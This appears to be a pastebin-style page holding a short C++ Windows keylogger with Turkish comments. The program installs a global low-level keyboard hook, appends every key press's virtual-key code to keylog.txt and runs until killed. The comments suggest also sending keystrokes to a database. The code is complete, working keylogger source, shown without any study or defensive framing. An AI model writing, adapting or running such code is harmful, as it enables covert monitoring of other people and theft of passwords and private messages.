Untitled
unknown
plain_text
2 years ago
1.2 kB
6
Indexable
#include <iostream>
#include <fstream>
#include <Windows.h>
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT* kbdStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
DWORD vkCode = kbdStruct->vkCode;
// Tuş vuruşunu kaydetmek için istediğiniz işlemleri burada yapabilirsiniz.
// Örneğin, bir dosyaya yazabilir veya veritabanına kaydedebilirsiniz.
std::ofstream logFile("keylog.txt", std::ios::app);
if (logFile) {
logFile << vkCode << std::endl;
logFile.close();
}
}
}
return CallNextHookEx(nullptr, nCode, wParam, lParam);
}
int main() {
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(nullptr), 0);
if (!hook) {
std::cout << "Hata: Klavye kancası kurulamadı!" << std::endl;
return 1;
}
MSG msg;
while (GetMessage(&msg, nullptr, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hook);
return 0;
}
Editor is loading...